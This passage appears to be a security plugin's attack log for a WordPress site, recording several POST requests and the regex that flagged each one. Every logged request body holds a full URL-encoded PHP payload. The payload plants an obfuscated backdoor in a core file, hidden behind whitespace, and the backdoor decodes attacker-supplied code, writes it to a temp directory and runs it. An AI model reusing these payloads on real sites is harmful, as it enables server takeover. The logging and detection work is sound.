Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\n\ndN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx66lg%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66lg%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520while%2528%2524b%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524b%255D%2529%2520%255E%252027%2529%253B%2524b%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pgrp%2520%253D%25200%253B%2520do%2520%257B%2520%2524mrk%2520%253D%2520%2524entry%255B%2524pgrp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524pgrp%2520%253E%253D%2520count%2528%2524entry%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524mrk%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524element%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524mrk%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524pgrp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:56:27","185.98.128.239","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Hc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx66lg%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66lg%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520while%2528%2524b%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524b%255D%2529%2520%255E%252027%2529%253B%2524b%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pgrp%2520%253D%25200%253B%2520do%2520%257B%2520%2524mrk%2520%253D%2520%2524entry%255B%2524pgrp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524pgrp%2520%253E%253D%2520count%2528%2524entry%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524mrk%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524element%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524mrk%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524pgrp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFTZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:4084\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nHc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx66lg%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66lg%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520while%2528%2524b%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524b%255D%2529%2520%255E%252027%2529%253B%2524b%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pgrp%2520%253D%25200%253B%2520do%2520%257B%2520%2524mrk%2520%253D%2520%2524entry%255B%2524pgrp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524pgrp%2520%253E%253D%2520count%2528%2524entry%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524mrk%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524element%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524mrk%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524pgrp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:56:36","208.181.135.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx66lg%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66lg%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520while%2528%2524b%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524b%255D%2529%2520%255E%252027%2529%253B%2524b%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pgrp%2520%253D%25200%253B%2520do%2520%257B%2520%2524mrk%2520%253D%2520%2524entry%255B%2524pgrp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524pgrp%2520%253E%253D%2520count%2528%2524entry%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524mrk%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524element%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524mrk%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524pgrp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:4107\nsec-ch-ua-mobile:?1\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Android\"\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx66lg%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66lg%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520while%2528%2524b%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524b%255D%2529%2520%255E%252027%2529%253B%2524b%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pgrp%2520%253D%25200%253B%2520do%2520%257B%2520%2524mrk%2520%253D%2520%2524entry%255B%2524pgrp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524pgrp%2520%253E%253D%2520count%2528%2524entry%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524mrk%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524element%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524mrk%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524pgrp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 22:56:38","163.172.31.86","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gA:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524resource%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520do%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524resource%255B%2524b%255D%2529%2520%255E%252035%2529%253B%2524b%252B%252B%253B%257D%2520while%2528%2524b%2520%253C%2520strlen%2528%2524resource%2529%2529%253B%2520for%2520%2528%2524fac%2520%253D%25200%252C%2520%2524pointer%2520%253D%2520count%2528%2524flg%2529%253B%2520%2524fac%2520%253C%2520%2524pointer%253B%2520%2524fac%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524flg%255B%2524fac%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524elem%2529%2529%2520%257B%2520%2524marker%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524elem%252C%2520%2522%257Bvar_dir%257D\/.component%2522%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524entry%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM0RvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-length:4355\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\n\ngA=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%255D%2529%253B%2520%2524resource%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx65%255Cx6Et%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520do%257B%2524entry%2520.%253D%2520chr%2528ord%2528%2524resource%255B%2524b%255D%2529%2520%255E%252035%2529%253B%2524b%252B%252B%253B%257D%2520while%2528%2524b%2520%253C%2520strlen%2528%2524resource%2529%2529%253B%2520for%2520%2528%2524fac%2520%253D%25200%252C%2520%2524pointer%2520%253D%2520count%2528%2524flg%2529%253B%2520%2524fac%2520%253C%2520%2524pointer%253B%2520%2524fac%252B%252B%2529%2520%257B%2520%2524elem%2520%253D%2520%2524flg%255B%2524fac%255D%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524elem%2529%2529%2520%257B%2520%2524marker%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524elem%252C%2520%2522%257Bvar_dir%257D\/.component%2522%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524entry%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524marker%253B%2520%2540unlink%2528%2524marker%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3